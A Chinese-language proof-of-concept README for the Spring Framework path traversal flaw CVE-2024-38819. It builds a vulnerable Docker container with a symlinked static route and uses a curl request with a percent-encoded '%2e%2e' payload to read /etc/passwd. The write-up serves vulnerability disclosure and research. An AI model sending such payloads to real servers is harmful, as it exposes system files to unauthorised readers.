这是针对我报告的 CVE-2024-38819 漏洞的概念验证,演示了路径遍历漏洞利用。
构建 Docker 镜像(Spring Boot 3.3.4,基于 Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
运行容器并将端口 8080 暴露到宿主机
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
运行以下命令执行 PoC 并确认漏洞
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,将显示 /etc/passwd 文件的内容。
创建 PathTraversalDemoApplication.java,使用以下代码通过 RouterFunction 和 FileSystemResource 设置静态文件路由:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
在 Dockerfile 中添加以下命令以创建符号链接:
RUN ln -s /static /app/static/link
创建一个利用百分号编码(percent-encoding)通过符号链接进行目录遍历的 payload。
/static/link/%2e%2e/etc/passwd使用以下 curl 命令执行 PoC,验证攻击是否成功:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,将显示 /etc/passwd 文件的内容。
本 PoC 仅供教育和安全研究之用。在真实系统中使用之前,请确保漏洞已修复,并且您已获得适当的授权。作者不对任何滥用此代码的行为承担责任。